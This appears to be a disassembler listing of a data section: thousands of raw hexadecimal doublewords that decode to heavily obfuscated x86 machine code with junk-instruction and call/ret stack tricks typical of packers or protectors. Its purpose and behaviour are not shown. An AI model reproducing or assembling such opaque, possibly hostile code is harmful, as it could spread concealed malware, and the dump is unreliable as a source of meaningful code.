dd 0E007C0F1h, 8A204CE9h, 3850Fh, 8B660000h, 0B59D8BF9h
dd 0FF05E906h, 0E9068985h, 55006A05h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 470679A7h
dd 744FB07Fh, 5E8019Eh, 0F6000000h, 0B5D754DBh, 22E59D23h
dd 6A5F05E9h, 50006AFFh, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1C04h, 0C3504000h, 0DB027B37h, 8DE341C0h, 0DABF0F69h
dd 257DB5FFh, 6A05E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 14257CC3h, 1CE6F556h, 119D8B05h
dd 0FF05E905h, 0E907C995h, 138E905h, 0FB8B0000h, 109D9D8Bh
dd 0B005E9h, 89DE8B66h, 0E9034585h, 6070E605h, 2D519589h
dd 0EE905E9h, 41000000h, 0AE9F31BAh, 0A3DE013Ch, 0D927546Bh
dd 71E46123h, 27F9BD8Bh, 613C05E9h, 0F8830Fh, 0CE80000h
dd 0EC000000h, 7D8E0234h, 442CC140h, 66229248h, 0F5BF88Bh
dd 8B66C8B6h, 6BADEh, 0BD8B0000h, 5E91815h, 0EE8h, 337D5300h
dd 7D73DD24h, 6DF23813h, 5F951C56h, 0FE9C18Bh, 0BE000000h
dd 0EC2CA9FBh, 522D593Bh, 0AD1ADF0Eh, 0E8C17587h, 5E904h
dd 48FE0000h, 6613C71Ch, 2BF5E2F7h, 0D98B66C8h, 0B589D18Bh
dd 5E90729h, 3E9h, 0D88B6600h, 2829858Bh, 0B70F05E9h, 7C083DBh
dd 0A9B58B60h, 0F05E925h, 285h, 61616000h, 2900C083h, 0E919859Dh
dd 0FD03B05h, 2283h, 0E7816600h, 4BE982F9h, 0E9000000h
dd 13h, 0A2216CC4h, 75C4BDFBh, 3CFCA92Bh, 159F7ECFh, 8BB50FFFh
dd 0E901E58Dh, 1E18305h, 24840Fh, 0B5290000h, 5E917C5h
dd 2DD99509h, 0A58305E9h, 5E901E5h, 0A59501FEh, 8905E923h
dd 0E9282995h, 0E905h, 0B58D0000h, 5ECF4D9h, 2A71BD0Bh
dd 6A05E9h, 9D23FA8Ah, 5E90DC1h, 1E9595FFh, 816605E9h
dd 0B95F71C3h, 923h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 64C35545h, 0E183E8DEh, 0F3BF66FCh, 6AFCA3h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 8B66B7C3h, 0B8DAh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1A0424h, 52420000h, 30A947C3h, 3829DE87h
dd 8E9h, 0DDE4D100h, 0EE305AB3h, 0BA66h, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
dd 0B1E130C3h, 814F8345h, 33ADF939h, 3E8D1C2h, 4E983D0h
dd 6AF475h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 8E8DFC3h, 0EE000000h, 63E2A867h, 9E37676h
dd 0E90BC18Dh, 880D5F05h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0C0ECC352h
dd 0F970EA68h, 6810F60h, 8B000000h, 0E908E58Dh, 0DABF0F05h
dd 13E961h, 0DAD40000h, 0FB360DAh, 0B173019h, 9CFAB2D7h
dd 43884308h, 55958B08h, 0E805E926h, 7, 59F343E1h, 0BBBAAE75h
dd 6F354A4Ch, 58D8B5Bh, 6A05E908h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 1AC1C350h
dd 8B50F8FFh, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h
dd 5FB7B353h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Bh, 0DEC35545h, 24A943F7h, 0F5E51063h, 1CF1BD83h, 0F0005E9h
dd 0A384h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 0B70F0F7Ch, 0A98589F9h, 0B805E917h
dd 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0E8C35545h
dd 0D95B4097h, 0E56423FFh, 38A0Fh, 0B70F0000h, 6D8D8DD8h
dd 6005E94Eh, 1EA99D8Bh, 0B58905E9h, 5E93245h, 5DBD8B61h
dd 0FF05E92Dh, 50006AE1h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1C04h, 0C3504000h, 6F5CC845h, 0D00935F5h
dd 6E925h, 0F9A60000h, 565F9860h, 163DBD83h, 0F0005E9h
dd 3EA84h, 6DBD8900h, 8305E919h, 0E9163DBDh, 840F0105h
db 0F2h, 3
word_584F4E dw 0 ; DATA XREF: ___:00436804o
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 5CC35545h
dd 0E9BF9F93h, 83245FAFh, 0E9163DBDh, 860F0305h, 38Ch
dd 21858960h, 6605E902h, 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 140424h, 53430000h, 8D89E3C3h, 5E9274Dh
dd 3919589h, 0E18005E9h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1404h, 0C3554500h, 6800FDCh, 8B000000h, 0E90CC59Dh
dd 22DF8005h, 840FC90Ah, 149h, 0E31BD33h, 858B05E9h, 5E92869h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0CFC35747h
dd 2FBEC6C8h, 5FF88B57h, 10E8h, 2172100h, 0BD3BD05Fh, 28DD284h
dd 0E6038D2Dh, 335FF582h, 0E90E6185h, 50006A05h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 8E4920E1h, 9BF4917Ah, 0BD89853Ah, 5E90649h, 21EDBD8Bh
dd 0E95005E9h, 12h, 0DC605D02h, 0A42A7AB1h, 640CBEA5h
dd 0F0BAC6BCh, 4899EDBh, 86E78124h, 6A6E8573h, 45BD2B00h
dd 6805E92Ah, 0FD48AFA8h, 3800Fh, 8B660000h, 240481F8h
dd 2D65457h, 118A0Fh, 8E80000h, 2000000h, 0A71BE593h, 66DB4997h
dd 0FF5FFE8Bh, 0E9292D95h, 50006A05h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1A04h, 0C3504000h, 41D34654h
dd 89E717ACh, 0ECBACE85h, 55006A05h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0F8B70FB6h
dd 1AAE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1604h, 0C3524200h, 31020000h, 0E91E1DBDh, 0C6858B05h
dd 8B05ECBAh, 0E90E15BDh, 1800C705h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
dd 4900C357h, 3B8546AEh, 0F3814D10h, 74711B6h, 0BACAB58Bh
dd 858905ECh, 5E91139h, 8BA1F780h, 0E92F3985h, 53006A05h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 8997E74Ch, 89C8CA3Ch, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1404h, 0C3534300h, 15952958h, 8B05E930h
dd 0E9286985h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 0E801716Ch, 10h, 0E0353256h
dd 0C7D0FB17h, 987A8F87h, 27B8DC59h, 895BF88Bh, 0E3810446h
dd 774CD9DDh, 8AC78166h, 0B960507Eh, 66A10928h, 298C8FB9h
dd 34896114h, 0A59D8B24h, 0FF05E92Bh, 0ECBAC6B5h, 56006A05h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 0F5589730h, 5D86E28h, 0A2BECB81h, 0B5892CD1h, 5E91E75h
dd 0F3B1C568h, 7555BF26h, 34816879h, 0ECB23A24h, 59D8B26h
dd 8D05E922h, 0ECBACE85h, 56006A05h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 8D895241h
dd 5E93035h, 489505Bh, 85BD3324h, 0FF05E92Dh, 0E9292D95h
dd 5E905h, 4580000h, 61AE93DDh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 0D5C35545h, 0C7D0B783h, 0E9163D85h
dd 305h, 26BB5600h, 5B541AEAh, 0BACEBD83h, 0F0005ECh, 1784h
dd 88D0F00h, 0F000000h, 283h, 0E9F98B00h, 1Fh, 0AEF0BB66h
dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h
dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 8BEFC355h, 0E922019Dh, 57006A05h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0F6ADE321h
dd 0DF8BDD1Eh, 1B9B589h, 0BD8305E9h, 5E9163Dh, 0EB850F03h
dd 83000003h, 0ECBACEBDh, 840F0005h, 3DEh, 14E8h, 0B6552500h
dd 0BEB907AFh, 3AEDF738h, 662D25E7h, 40FB2756h, 5F09B35Fh
dd 2CEEF81h, 0B5FF122Ah, 5ECBACEh, 6E960h, 0A3640000h
dd 0B8AE2369h, 0FF6137B5h, 0E92B7595h, 55006A05h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 88FCB51Ch, 2371DF2h, 2985313Fh, 8B05E907h, 0ECBAC2B5h
dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h
dd 0C3504000h, 9D89C67Fh, 5E91861h, 106C7h, 8B660001h
dd 58B0FF9h, 0BF000000h, 4CCE2181h, 0DA8B6650h, 31243489h
dd 0E902A585h, 6CA6BB05h, 0B5FF1BD7h, 5ECBACEh, 0D5985ABBh
dd 4D95FF7Ah, 8B05E92Bh, 0E90ADD9Dh, 0C2B58B05h, 6A05ECBAh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 0B3E0C353h, 498E568Fh, 0BC435CFCh, 5F1BD89h
dd 858B05E9h, 5E90FDDh, 0C48689F5h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 891BC357h, 0E9018195h, 55958B05h, 8B05E926h, 890FDEh
dd 83000000h, 5E804C2h, 4000000h, 57138235h, 5BD88B66h
dd 6A205089h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 17042444h, 47000000h, 0D4EBC357h, 0BE8ABF1h, 9C000000h
dd 24A56AC4h, 92972A1Fh, 0BF66F727h, 8D5FBDF3h, 0ECD05585h
dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h
dd 0C3554500h, 863B23E4h, 5F6EB957h, 0BF66326Ch, 8689A973h
dd 0B8h, 12E78060h, 61D78B66h, 9D8B006Ah, 5E92AADh, 2A619D89h
dd 0B5FF05E9h, 5ECBACEh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ah, 73C35040h, 57A2A5E0h, 0BD8BC5B5h, 5E90E15h
dd 0AD95FFh, 820F05E9h, 6, 3191BD89h, 509605E9h, 4880Fh
dd 0BF660000h, 6096022Eh, 49B1A4BEh, 0F18B6672h, 0CEB5FF61h
dd 8905ECBAh, 0E9076D85h, 3195FF05h, 8905E932h, 0E9318585h
dd 0B1BD8305h, 5E92Ah, 58840Fh, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 85A9BC3h
dd 79526621h, 0FE9h, 0AC4C1500h, 0BC174B70h, 90F1CB8Bh
dd 0C0087352h, 0F5ABBB96h, 0B3503786h, 0DE9969Fh, 62000000h
dd 47EBAED4h, 2685D34Ah, 0D1015957h, 4C1BD8Bh, 0B5FF05E9h
dd 5ECBACEh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Bh, 0ADC35141h, 0D37DB32Eh, 2932AC66h, 0E91FADB5h
dd 6195FF05h, 0E905E92Fh, 5, 0A2513BA4h, 0CEB5FF4Bh, 8B05ECBAh
dd 0E903D19Dh, 0C595FF05h, 6A05E92Dh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0A3D1C352h
dd 9F1E6884h, 0C78166F5h, 83F8C08Fh, 0E903FDBDh, 840F0205h
dd 88h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h
dd 0EAC35242h, 15B3C6B7h, 55858B2Bh, 6A05E930h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 1CBFC357h, 0E97CA0ACh, 13h, 0E4B3E738h, 15088E67h, 0A6B020B2h
dd 0EE2F9E1Ah, 0C66507EBh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 24CE3C3h, 41FBEB6h, 0FE8B0F7Ah, 27A985C7h, 5E9h, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 6549B9C3h, 503811F8h, 74E9CE0Bh, 8BFFFFF3h, 55006AC1h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 0B7DD0061h, 0AE9h, 0EFFE4100h, 6E86D014h, 8DF4EE2Eh
dd 0E921E585h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1A04h, 0C3554500h, 0D7B3481Bh, 2B04FA8Ah
dd 0E90E95BDh, 0BF665005h, 4899C06h, 858B6024h, 5E90D15h
dd 0AE8h, 740B0600h, 16D42A0Ah, 0B99561CEh, 7A67A71Ch
dd 6A6159h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Bh, 4DC35343h, 0D72E153h, 9A902F1h, 0E9253595h, 890F05h
dd 0E8000000h, 0Ah, 882A3617h, 0AA02F8A0h, 0BD8BE3EBh
dd 5E9232Dh, 66006A5Fh, 8D014FBFh, 0ED77F785h, 7E805h
dd 9F0E0000h, 13CF07A5h, 68E0F72h, 0F000000h, 84h, 0C0835F00h
dd 0E99D8B05h, 9005E917h, 5750D88Bh, 17880Fh, 11E80000h
dd 73000000h, 5DBA25A2h, 794C30E8h, 6EF24B6Dh, 0CB43B9E2h
dd 80905B5Fh, 6A5ED3h, 0FE8h, 934A0700h, 0A25CCD6Dh, 3CEABC68h
dd 0C6281D3Dh, 0CFD9D8Bh, 8B5F05E9h, 0FF006AFBh, 0E90AA195h
dd 0A18FBB05h, 8D8D4D28h, 5ECADBFh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 8BC35747h, 51840F68h, 0FF5FF88Bh
dd 50006AD1h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h
dd 0C3504000h, 54A8B9F9h, 8AD5542h, 13E8h, 0BEC4B000h
dd 32512B1Dh, 27EF4776h, 0E7D9B34Ah, 81F3EBDAh, 12699D03h
dd 0E85B05E9h, 0Bh, 0D98C175Bh, 0E3C72C8Ah, 81081CFBh
dd 0E17FBDEFh, 0BD835B29h, 5E901BDh, 41850F01h, 89000000h
dd 0E90DAD9Dh, 81026A05h, 0D23A2DDFh, 8B66501Fh, 240489DAh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 9C35040h
dd 81668B1Bh, 0FFD858CFh, 0E900AD95h, 0FA8B6605h, 0DB7E9h
dd 0E800h, 815D0000h, 0ED7801EDh, 0B5958905h, 0E905E919h
dd 13h, 0A8ED6DB3h, 2E1A1648h, 8B64F9E2h, 0BABB48B3h, 8A58DD93h
dd 4B858DDDh, 6A05EC90h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 0C6EC353h, 7C686234h
dd 0FBCF8102h, 5005B5DBh, 310F5250h, 585AD88Ah, 6A240489h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h
dd 42000000h, 6945C352h, 0D2B02CEDh, 64FBBF0Fh, 35FFh
dd 9D8B0000h, 5E92451h, 10259D89h, 896405E9h, 25h, 21858900h
dd 0FF05E91Dh, 0E9068985h, 6800F05h, 9000000h, 0E92FDD8Dh
dd 6AFF6A05h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 2E08C355h, 3A0E8760h, 35747CBAh
dd 6B59D8Bh, 0B5FF05E9h, 5E92F55h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 16h, 9CC35747h, 8B607ED0h, 0E907DD85h
dd 40CCBF05h, 0FF611755h, 0E907C995h, 0E5E905h, 95010000h
dd 5E90E5Dh, 9D8B00B0h, 5E93141h, 5BF70E6h, 0E46038C5h
dd 0F613C71h, 0C683h, 0F38B6000h, 30218D8Bh, 0F6105E9h
dd 8589C8B6h, 5E927D5h, 6BAh, 27D38100h, 8B714D3Bh, 10E9C1h
dd 0BD970000h, 8443A4C8h, 72CCA88h, 0C3E922Ch, 0E8C16EE4h
dd 28BB6604h, 0E2F76624h, 1259B589h, 816605E9h, 2B5803D3h
dd 0D1BD89C8h, 8B05E916h, 0F38166D1h, 6E9341Bh, 9000000h
dd 0E90C09BDh, 9D858B05h, 8B05E932h, 7C083FEh, 83D98B66h
dd 9D8B00C0h, 5E900A9h, 830FD03Bh, 0Bh, 30FD9D89h, 38E905E9h
dd 8B000000h, 0E910798Dh, 1E18305h, 29840Fh, 9D290000h
dd 5E90229h, 1079A583h, 0BFFE05E9h, 5A44C7CFh, 329D9589h
dd 7E905E9h, 55000000h, 94C60EDh, 0E91499h, 8D000000h
dd 0ECFFCEB5h, 51006A05h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 5723E0C1h, 6A944DACh
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h
dd 0C3534300h, 9D89B238h, 5E921F1h, 1E9595FFh, 6A05E9h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
dd 0D88C08C3h, 24554303h, 0BE84Fh, 203F0000h, 1B4057C7h
dd 537A4070h, 89BD8BE4h, 5F05E90Bh, 7DFB9h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 0B02D37FEh, 0E183370Dh, 0F9B70FFCh, 75BD8BFCh, 2B05E931h
dd 999D8BC0h, 2B05E902h, 56006AD2h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 60264681h, 1DCD8D01h
dd 0E78005E9h, 33AD61E4h, 3E8D1C2h, 4E983D0h, 0FF9F475h
dd 880DF8BFh, 29000000h, 0E91F21B5h, 55958B05h, 305E926h
dd 0E90D01BDh, 58D8B05h, 2905E908h, 0E9245195h, 0C28B5005h
dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 958188Bh, 0E90715BDh
dd 0D19D8B05h, 6A05E905h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 89A4C357h, 0E900F98Dh
dd 0F1BD8305h, 5E91Ch, 42840Fh, 9D8B0000h, 5E91FA1h, 0B8h
dd 0FA8B6600h, 4E6D8D8Dh, 9D8B05E9h, 5E91F95h, 6AE1FFh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 9E4CFFC3h, 0BD8922E9h, 5E91D71h, 163DBD83h, 0F0005E9h
dd 50584h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1C04h, 0C3534300h, 0C63317E8h, 0E8B32B27h, 0DDBD8B36h
dd 8305E904h, 0E9163DBDh, 840F0105h, 4E9h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 5BC35242h, 685F8AAAh
dd 38B9253h, 0E927919Dh, 13B16005h, 8361E18Ah, 0E9163DBDh
dd 860F0305h, 477h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Dh, 0B8C35545h, 5B739390h, 0DEB66242h, 5E9CAh
dd 27080000h, 60CF058Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ah, 66C35747h, 237BC62Fh, 0C780B9C0h, 85896087h
dd 5E932CDh, 61FEB70Fh, 80D98C66h, 0E180D0EBh, 0AF98B04h
dd 0A5840FC9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 4B3DC355h, 39853122h
dd 105E918h, 0E90F09B5h, 69858B05h, 6A05E928h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
dd 0EA38C355h, 9D8B0AA0h, 5E92B9Dh, 0E618533h, 6A05E9h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 0F9B0AC3h, 850FFABFh, 6, 5319D03h, 669005E9h, 50A1DFBFh
dd 5E952h, 65A30000h, 5F30867Ah, 52006A90h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 5DE39123h
dd 89927657h, 0E9318DBDh, 0DABF6605h, 6A006AFEh, 3E85300h
dd 20000000h, 895BC35Bh
dd 8104245Ch, 1B042444h, 43000000h, 135DC353h, 0A96B6618h
dd 28BFEA3Ch, 682ECF52h, 0DAF6BC39h, 6E9h, 0DEC54000h
dd 81FDB59Fh, 47C62404h, 6A2528h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1C0424h, 51410000h, 0AD7E6DC3h, 0ECDE80A3h
dd 9D2BA06Dh, 5E90059h, 292D95FFh, 9D8905E9h, 5E92261h
dd 68A0Fh, 9D010000h, 5E90AD1h, 0BACE8589h, 6A05ECh, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 910346C3h, 797490C3h, 20DE9h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0CED81118h
dd 0AE9F3h, 0E3630000h, 0B3D3F837h, 0A552FAF0h, 0BAC6858Bh
dd 6A05ECh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
dd 56460000h, 437AD0C3h, 392AA182h, 1800C7h, 53600000h
dd 1D41852Bh, 0B65905E9h, 0B58B6190h, 5ECBACAh, 0DE9h
dd 0C566DA00h, 41C9764h, 0B1848A21h, 858B0212h, 5E92F39h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0CCC35040h
dd 0DE9h, 0B177B300h, 0CE62AA03h, 9174EF5h, 689EB62h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 5AC35242h, 0F22B6887h
dd 0AB59D8Bh, 858B05E9h, 5E92869h, 0E8044689h, 8, 0FA566302h
dd 9D3CCA78h, 0CAE78166h, 0BF505BB0h, 37617A38h, 6A243489h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h
dd 46000000h, 0CC84C356h, 0D53D44BFh, 52E271CFh, 0BAC6B5FFh
dd 6A05ECh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
dd 57470000h, 466BBC3h, 0C99D8B60h, 6605E925h, 6861CB8Bh
dd 404308EAh, 6D3DBF66h, 15243481h, 6A405C0Bh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 0B483C356h, 45BD8B5Ah, 8D05E903h, 0ECBACE85h, 56006A05h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 0FE8B66CBh, 50FAB70Fh, 13E8h, 4C9B7600h, 0FF48877Ah
dd 94EAE498h, 0AC4BA77Fh, 99964B61h, 0AE8h, 6AACBE00h
dd 0A5B3D6FDh, 8BE8AED3h, 895B5BFAh, 6A2404h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0D5F15C3h
dd 91BD297Ch, 0FF05E924h, 0E9292D95h, 361F805h, 0E92B159Dh
dd 3D85C705h, 305E916h, 81000000h, 40D83AE7h, 0CEBD834Fh
dd 5ECBAh, 5D840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 4AB34DC3h, 0E3B58D57h
dd 8BA29061h, 0E92B7D9Dh, 0D78105h, 0E96340A8h, 42h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 19h, 43C35040h, 0ABDA273Fh
dd 0D59D2BCAh, 5005E904h, 110C30h, 0C1011144h, 443010E8h
dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h
dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h
dd 4E98311h, 0EBE775h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 8AA162C3h, 0F1BD8B04h
dd 8305E905h, 0E9163DBDh, 850F0305h, 45Bh, 0BD830EB3h
dd 5ECBACEh, 4C840F00h, 8B000004h, 0E932759Dh, 0CEB5FF05h
dd 8905ECBAh, 0E916EDB5h, 0DB816605h, 95FFF4A4h, 5E92B75h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0D3C35242h
dd 3A16280Dh, 0CABB3872h, 0B58B65B7h, 5ECBAC2h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 48C35545h, 3FE9C51Dh
dd 663A754Dh, 0DD35C381h, 106C7h, 6A0001h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 73231CC3h
dd 2059446Bh, 0BE9h, 0C5BAFD00h, 9CC0A080h, 9BCA810Eh
dd 0BE896h, 0AD9F0000h, 0D57D95BAh, 0D3BD588Fh, 8A5250A6h
dd 0E9310FFAh, 10h, 374F8958h, 197CF544h, 485F2A17h, 24407AA7h
dd 505F585Ah, 0E28ABF66h, 55006A96h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0E82363E5h
dd 2D4B3686h, 0B589117Ch, 5E9267Dh, 0BACEB5FFh, 0BD8B05ECh
dd 5E90BCDh, 0ED9D33h, 95FF05E9h, 5E92B4Dh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0C9C35141h, 28BFC079h
dd 0AE82FD8h, 0CD000000h, 781AB004h, 0A2E360EAh, 0B5896075h
dd 5E93169h, 1CA1958Bh, 5F6105E9h, 799D3350h, 5B05E91Eh
dd 0BAC2B58Bh, 0BB6005ECh, 38D1DD45h, 5959589h, 8B6105E9h
dd 0E90FDD85h, 51006A05h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 0BB66C5ACh, 8689BCD8h
dd 0C4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 0F9C35242h, 27619589h, 958B05E9h, 5E92655h, 1ECD8D89h
dd 68B705E9h, 6A04C283h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 87BCC350h, 88555EAh
dd 18C99D23h, 0BD8B05E9h, 5E90085h, 6A205089h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
dd 0AF19C350h, 9A3B1720h, 10E8C0h, 1B3E0000h, 615BA846h
dd 0BBF2A698h, 400D5BC4h, 0ABFA531h, 5B7680DCh, 27218D29h
dd 858D05E9h, 5ECD055h, 10E9h, 1A0B9C00h, 0AD510C01h, 0B03FF6CCh
dd 0A3AC0D8Fh, 0B88689F1h, 0F000000h, 28Ch, 6ADE8B00h
dd 75BD2900h, 0FF05E903h, 0ECBACEB5h, 55006A05h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 0EC076C22h, 0EE88844h, 0D0000000h, 4452B355h, 0B20FE6A6h
dd 41259342h, 0E19D898Eh, 5F05E90Dh, 0AD95FFh, 6A05E9h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 0D8409EC3h, 0E9F3D9D7h, 0Ch, 0B8D9FA71h, 0BC67F2BAh
dd 0E5D9117Bh, 8E9h, 18D14F00h, 364DE6C4h, 66605080h, 0B966C28Bh
dd 89612B4Eh, 9D8B2434h, 5E907D5h, 0BACEB5FFh, 43BB05ECh
dd 0FF43148Bh, 0E9323195h, 0FAB70F05h, 2AB1BD83h, 0F0005E9h
dd 4484h, 0B9BD8B00h, 9605E906h, 58E0Fh, 66500000h, 505FFE8Bh
dd 13E8h, 1C79BD00h, 0CE01CC06h, 5A77361Ah, 2D1A5F6Ch
dd 0F371EE55h, 8B665250h, 66310FD8h, 585AFE8Bh, 8060965Fh
dd 0BD8924D8h, 5E92565h, 0CEB5FF61h, 8B05ECBAh, 0E90FF59Dh
dd 6195FF05h, 0FF05E92Fh, 0ECBACEB5h, 52006A05h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 0F5264BAh, 95FFD8B7h, 5E92DC5h, 0ECC7F781h, 0BD837892h
dd 5E903FDh, 6C840F02h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0BBB3C350h
